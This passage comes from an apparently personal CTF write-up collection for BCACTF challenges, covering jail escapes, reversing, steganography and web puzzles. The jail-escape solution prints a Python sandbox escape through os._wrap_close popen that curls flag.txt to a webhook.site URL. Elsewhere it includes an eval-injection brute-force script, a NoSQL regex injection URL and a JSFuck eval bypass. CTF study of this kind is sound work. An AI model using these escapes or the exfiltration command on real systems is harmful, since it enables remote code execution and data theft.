"0x7b", "0x3c", "0x0d", "0x0d", "0x2c", "0x26", "0x4d", "0x6b",
"0x5f", "0x0d", "0x6a", "0x55", "0x2f", "0x20", "0x08", "0x1d",
"0x70", "0x2f", "0x2d", "0x31", "0x64", "0x4a", "0x55", "0x6d",
"0x0c", "0x7c", "0x41", "0x55", "0x53", "0x56", "0x1b", "0x76"
]
# The string to index into
random_garbage = "G8KRuwqY2_wG8t0b1fiePCGgPo8HM3Vb1Mbrqln4exs0i4a_l5QTyjdOrzjLiKz0pCrFXE1liTBzSgGRQScSi_0RwZS6hHZcOL5g6b4NOlf_F7nvApMEm4DquAJu9ElI"
# Convert hex indices to decimal
decimal_indices = [int(hx, 16) for hx in hex_indices]
# Extract characters from the random garbage string
flag = ''.join(random_garbage[idx] for idx in decimal_indices)
# Wrap the flag in the proper format
formatted_flag = f"bcactf{{{flag}}}"
print(formatted_flag)
# bcactf{dtmf_netlify_app_bad__internet_bad__im_quitting_ctf__123A_456B_789C_S0HD}
Wiretapped (20 solves)
Description:
I've been listening to this cable between two computers, but I feel like it's in the wrong format.
A certain type of file is embedded in the .wav file - see if you can extract itFamiliarize yourself with the application used to view the file
Solution:
Basically, it's a pcap starting from the 2nd line. Delete the first line to get the pcap, and then:
ββ$ strings wiretapped.pcap 130 β¨―
...
BxN$
hello there host computer
6JRT
6JRT
hello there vm
(G @
do you know what the flag is
6JRT
...
6JRT
yeah i think it starts with bcactf{
ok and the rest of it?
...
6JRT
uhh... listening_ ... i forgot the rest but i have it in an image somewhere, i'll send it to you
Get the image by looking at the pcap traffic, can follow stream once the bytes start then copy the raw to a file, trim the header.
Can access the locked Sheet 2 by downloading the html version, then sort based on the 3rd column and save the least significant bits following the hint in the first row of sheet 2. Easy to do everything with vim so just did column sort, align, and ctrl+v block select, can build a script otherwise.
For reference:
Lurking shadows, secrets play, Stealthy whispers on display. BITS aligned, LEAST in SIGht, Gleams of secrets, veiled in light.
Press F12 or Ctrl+Shift+I on Windows (Cmd+Option+I on Mac OS) to launch DevToolsSome parts have hints in the console
Solution:
I'm a bit surprised this has so many more solves than the others but basically just web stuff, flag parts hidden in javascript files and treasure isn't displayed but can be navigated to in url directly.
bcactf{b3t_y0u_d1dnt_f1nd_th3_tre4sur3}
Misc
JailBreak 2 (151 solves)
Description:
The prison has increased security measures since you last escaped it. Can you still manage to escape?
We have a limited character set:
BANNED_CHARS = "gdvxfiyundmnet/\'~`@#$%^&.{}0123456789"
One of the main functions available is locals() and running main.py locally with sanitized disabled, eventually I see we can print the flag in an error with locals()[locals()['flag']]. Since f and g banned, we need to create that, I built a converter to optimally convert strings to symbols. I optimized it to shorten the output length (creating 64 with 1<<7) so it would work for the revenge challenge.
Help me get an A in Physics! My teacher made this review program for us.
Resources:
Netcat Links:nc challs.bcactf.com 30586
Hints:
How is the program checking your answer? After all, it's possible to write a correct answer in multiple ways (e.g. x+y vs y+x vs 0+x+y, etc).What information/feedback do you get from each question? How can you use it to your advantage?
Solution:
There are three different questions the server can ask, and it's pretty clear that the solution won't be found by solving enough questions after a while, so we need to find a way to confirm knowledge about the flag in the correctness response. I built a script that will skip until the spring question is asked (answer is normally x * y), then multiply by the character value of a specific position of the flag and divide by a guess. Ran this until every character was guessed.
Question 4: A spring has a spring constant of x. If it is compressed by a distance of y, what is the magnitude of the restoring force? (Your answer should be positive.)
Answer:
Trying payload: x*y*ord(flag[7])/121
Received response: Good job!
y
[*] Closed connection to challs.bcactf.com port 30586
Flag so far: bcactf{yxxxxxxxxxxxxxxxxxxxxxxxx}
[+] Opening connection to challs.bcactf.com on port 30586: Done
Received question: Welcome to the Midterm Review!
This review will test your knowledge of physics formulas we have learned this unit.
Be sure to write all of your answers in terms of x and y!
---------------------------------------------------------------------
Question 1: A spring has a spring constant of x. If it is compressed by a distance of y, what is the magnitude of the restoring force? (Your answer should be positive.)
Answer:
Trying payload: x*y*ord(flag[8])/48
Received response: TEST FAILED!
[*] Closed connection to challs.bcactf.com port 30586
from pwn import *
import string
# Server connection details
HOST = 'challs.bcactf.com'
PORT = 30586
# Known format of the flag and its length
FLAG_FORMAT = 'bcactf{' + 'x'*25 + '}'
FLAG_LENGTH = len(FLAG_FORMAT)
# Function to connect to the server and answer questions
def get_flag_character(position):
for char in string.printable:
conn = remote(HOST, PORT)
flag_character = None
for i in range(100): # Arbitrarily large number to ensure it finds the spring question
question = conn.recvuntil(b'Answer: ')
print(f"Received question: {question.decode()}") # Debugging: print the question received
if b'spring constant' in question:
try:
# Calculate the payload
payload = f"x*y*ord(flag[{position}])/{ord(char)}"
print(f"Trying payload: {payload}") # Debugging: print the payload being tried
conn.sendline(payload.encode())
response = conn.recvline(timeout=5)
response = conn.recvline(timeout=5)
print(f"Received response: {response.decode()}") # Debugging: print the response received
if b'Good job!' in response:
flag_character = char
print(char)
break
except Exception as e:
print(f"Error: {e}") # Debugging: print any errors encountered
continue
break
elif b'box starts at rest' in question:
conn.sendline(b"1/2*x*y*y")
elif b'collide perfectly inelastically' in question:
conn.sendline(b"(x+2*y)/3")
else:
conn.sendline(b'x') # Answer other questions with 'x'
conn.close()
if flag_character:
return flag_character
return None
# Brute-force the flag character by character
def brute_force_flag():
flag = list(FLAG_FORMAT)
for i in range(7, FLAG_LENGTH - 1): # Skip 'bcactf{' and '}'
flag_char = get_flag_character(i)
if flag_char is None:
raise Exception(f"Could not determine the character at position {i}")
flag[i] = flag_char
print(f"Flag so far: {''.join(flag)}")
return ''.join(flag)
# Get the complete flag
complete_flag = brute_force_flag()
print(f"Complete flag: {complete_flag}")
# bcactf{yoU_p4ssED_b0ef030870ec18}
Miracle (46 solves)
Description:
You'll need a miracle to get this flag. The server requires you to solve an easy addition problem, but you only get the flag if the bits magically flip to form another answer.
In main.js we see it's solved if we enter 77 but becomes 63 if directly eval'ing it. 77 in octal is 63 in decimal, so we enter 077 to solve both parts.
JailBreak 1 (159 solves)
Description:
I cannot get the python file to print the flag, are you able to?
This one was a bit of a mess for me testing different built-ins. A lot of writeups skip over intermediate steps or just don't work, but I eventually settled on using wrap_close for remote command execution to send the flag to my webhook. First we print all the functions, get the offset of wrap_close (can trial/error), then give it the command to execute.
ββ$ nc challs.bcactf.com 31289 1 β¨―
Welcome to your friendly python calculator!
Enter your equation below and I will give you the answer:
().__class__.__base__.__subclasses__()
Here is your answer: [<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Context'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'filter'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'int'>, <class 'map'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'zip'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class '_buffer_wrapper'>, <class 'Token.MISSING'>, <class 'coroutine_wrapper'>, <class 'generic_alias_iterator'>, <class 'items'>, <class 'keys'>, <class 'values'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'hamt'>, <class 'sys.legacy_event_handler'>, <class 'InterpreterID'>, <class 'line_iterator'>, <class 'managedbuffer'>, <class 'memory_iterator'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'positions_iterator'>, <class 'str_ascii_iterator'>, <class 'types.UnionType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'typing.TypeAliasType'>, <class 'typing.Generic'>, <class 'typing.TypeVar'>, <class 'typing.TypeVarTuple'>, <class 'typing.ParamSpec'>, <class 'typing.ParamSpecArgs'>, <class 'typing.ParamSpecKwargs'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class '_frozen_importlib._WeakValueDictionary'>, <class '_frozen_importlib._BlockingOnManager'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io.IncrementalNewlineDecoder'>, <class '_io._BytesIOBuffer'>, <class '_io._IOBase'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external.NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Buffer'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class '_distutils_hack._TrivialRe'>, <class '_distutils_hack.DistutilsMetaFinder'>, <class '_distutils_hack.shim'>]
Enter your next equation below (type 'e' to exit):
().__class__.__base__.__subclasses__()[154].__name__
Here is your answer: _wrap_close
Enter your next equation below (type 'e' to exit):
().__class__.__base__.__subclasses__()[154].__init__.__globals__["popen"]("ls")
Here is your answer: <os._wrap_close object at 0x7f131ee72420>
Enter your next equation below (type 'e' to exit):
().__class__.__base__.__subclasses__()[154].__init__.__globals__["popen"]("curl -X POST -d `cat flag.txt` https://webhook.site/2d31e5f8-1bd8-4f83-8f78-66fc45c6a852")
Here is your answer: <os._wrap_close object at 0x7f131ee723c0>
Enter your next equation below (type 'e' to exit):
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 203 0 145 100 58 279 111 --:--:-- --:--:-- --:--:-- 390
This is NOT the flag (250 solves)
Description:
The flag is NOT inside this file. Do NOT even bother checking.
Refer to JailBreak 2, now we can't use =. Playing around in python interpreter, I find a new way to get true other than ()==(), which is []<[()]. Now however there's no error print so we do need to output the flag exactly, which can actually be done with locals()['flag']. I must have messed something up when trying that originally for JailBreak 2 but it works there as well.
Use a decompilation tool such as [Binary Ninja Cloud](https://cloud.binary.ninja/)Compilation preserves the names of functions and global variables
Solution:
The = is the position to put it (e.g., left brace 7 right brace 0x14 (20) gives us bcactf{XXXXXXXXXXXX}, then fill in the rest, like line 837 means the 12th character is 0.
bcactf{5YmB0l_n4MeS}
My Brain Hurts (187 solves)
Description:
My friend sent me a weird string and a "program" they wrote, although it doesn't seem anything interpretable to me. Can you help me find out what they put through their program?
If you don't know where to start, look into an esoteric coding language called "Brain F*ck"
Solution:
Run the program and encode different things until you see there's just a constant rotation based on the input letter.
def calculate_offsets(current_encoded, desired_encoded):
offsets = []
for c, d in zip(current_encoded, desired_encoded):
offset = ord(d) - ord(c)
offsets.append(offset)
return offsets
def apply_offsets(input_string, offsets):
encoded_chars = []
for i, char in enumerate(input_string):
if i < len(offsets):
new_char = chr(ord(char) + offsets[i])
else:
new_char = char
encoded_chars.append(new_char)
return ''.join(encoded_chars)
# Given input strings
current_encoded = "^`Zheh|dhd_e^]ZjZf`cXg]a"
desired_encoded = "^`Zheh|Ey7/r\\b\\T&6r/][j}"
# Calculating the offsets
offsets = calculate_offsets(current_encoded, desired_encoded)
# Applying offsets to the input string
input_string = "bcactf{aaaaaaaaaaaaaaaaaaaaaaa}"
# We need to apply the offset to the part after "bcactf{"
prefix = "bcactf{"
encoded_part = apply_offsets(input_string[len(prefix):], offsets)
# Combining the prefix with the new encoded part
final_encoded_string = prefix + encoded_part
print("Offsets:", offsets)
print("Final Encoded String:", final_encoded_string)
#Offsets: [0, 0, 0, 0, 0, 0, 0, -31, 17, -45, -48, 13, -2, 5, 2, -22, -52, -48, 18, -52, 5, -12, 13, 28]
#Final Encoded String: bcactf{aaaaaaaBr41n_fcK-1s-fUn
# (messed up a bit with the known offset, remove the a's)
Broken C Code (155 solves)
Description:
Help! I was trying to make a flag printer but my C code just prints random garbage and I can't figure out why! Can you help me? Here's the file:
Print out the memory after running then process based on rev.
# gdb -q ./flagprinter
# (gdb) x/19gx 0x00400800
# Print 152 bytes
import struct
import math
# Memory dump from 0x00400800
data = [
0x0000264c00002587, 0x0000264c000024c4,
0x000028a700003493, 0x0000264c00003b1c,
0x0000264c00002344, 0x0000271300000903,
0x000023440000129c, 0x000014d4000028a7,
0x000027dc00001e43, 0x0000234400001213,
0x0000144300000bd4, 0x000017c700000a93,
0x00000afc000015fc, 0x00000bd400002344,
0x000009c700000b67, 0x00000bd400000a93,
0x000009c700000c43, 0x00000b6700000bd4,
0x0000006700003d0c
]
# Convert each 8-byte chunk into two 4-byte integers
flattened_data = []
for qword in data:
low = qword & 0xFFFFFFFF
high = (qword >> 32) & 0xFFFFFFFF
flattened_data.append(low)
flattened_data.append(high)
flag = []
for local_c in range(len(flattened_data)): # Ensure we are within bounds
integer_value = flattened_data[local_c]
dVar6 = math.sqrt(integer_value - 3)
flag.append(chr(int(dVar6)))
# Print the flag
print("".join(flag))
#bcactf{c_c0dE_fIXeD_7H4NK5_762478276}
FPS Frenzy (68 solves)
Description:
My friend Timmy made a game at the MoCO (Master of Code Olympiad) in just 50 nanoseconds! He told me that he hid a secret text somewhere in the game and placed a bet that I would not solve it. I'm not good at games, so can you please find this text?
The name of the mod is a spoof of something else (It is Minecraft related).
Solution:
Decompile with jadx, then:
Webex
Phone number (496 solves)
Description:
I was trying to sign into this website, but now it's asking me for a phone number. The way I'm supposed to input it is strange. Can you help me sign in?
Towards the end of last month, we started receiving reports about suspicious activity coming from a company called MOC, Inc. Our investigative team has tracked down their secret company portal and cracked the credentials to the admin account, but could not bypass the advanced 2FA system. Can you find your way in?
Do you know any ways to run JS with just those select characters?Do you notice anything vulnerable about the server?
Solution:
We have a limited charset and need to set out to be flag.
If d includes any characters other than []{}+!, it will return early. Otherwise it will eval anything that's not a function and output the result. We don't have to actually win by making it equal fun since we can control out which is always printed. Therefore the solution is to encode "out=flag" at jsfuck.com (uncheck boxes) then paste on the site.
NoSQL (255 solves)
Description:
I found this database that does not use SQL, is there any way to break it?
Looking at provided.js, name needs to be set and then it's matched in a regex. Go to http://challs.bcactf.com:30390/?name=.* and see a list of accounts, including 50: Flag Holder. Then 0 vs 1 indexing.
Tic-Tac-Toe (303 solves)
Description:
My friend wrote this super cool game of tic-tac-toe. It has an AI he claims is unbeatable. I've been playing the game for a few hours and I haven't been able to win. Do you think you could beat the AI?
Playing the game in burpsuite, we see that we actually receive the new board state through a websockets message that's what restricts us from choosing a spot the opponent moves at. Remove the "O" when it tries to block us then click it to win.
Opening the wav in a text editor, we see this:
Decompile with binary ninja to see stuff like this in it: